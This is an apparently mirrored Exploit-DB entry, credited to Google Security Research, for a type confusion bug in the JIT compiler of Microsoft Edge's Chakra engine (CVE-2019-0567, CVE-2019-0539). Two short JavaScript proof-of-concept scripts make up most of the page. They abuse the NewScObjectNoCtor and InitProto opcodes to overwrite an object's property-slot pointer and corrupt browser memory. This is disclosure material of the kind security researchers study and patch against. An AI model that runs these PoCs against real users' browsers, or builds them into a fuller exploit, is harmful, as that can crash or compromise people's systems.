Exploit Microsoft Edge Chakra - 'NewScObjectNoCtor' or 'InitProto' Type Confusion

[Exploiter]

EDB-ID

46203

Проверка EDB

1. Пройдено

Автор

GOOGLE SECURITY RESEARCH

Тип уязвимости

DOS

Платформа

WINDOWS

CVE

cve-2019-0567 cve-2019-0539

Дата публикации

2019-01-18

Microsoft Edge Chakra - 'NewScObjectNoCtor' or 'InitProto' Type Confusion

NewScObjectNoCtor and InitProto opcodes are treated as having no side effects, but actually they can have via the SetIsPrototype method of the type handler that can cause transition to a new type. This can lead to type confusion in the JITed code.

In the PoC, it overwrites the pointer to property slots with 0x1000000001234. 

PoC for NewScObjectNoCtor:

function cons() {

}

function opt(o, value) {
    o.b = 1;

    new cons();

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        cons.prototype = {};

        let o = {a: 1, b: 2};
        opt(o, {});
    }

    let o = {a: 1, b: 2};

    cons.prototype = o;

    opt(o, 0x1234);

    print(o.a);
}

main();

PoC for InitProto:

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, 0x1234);

    print(o.a);
}

main();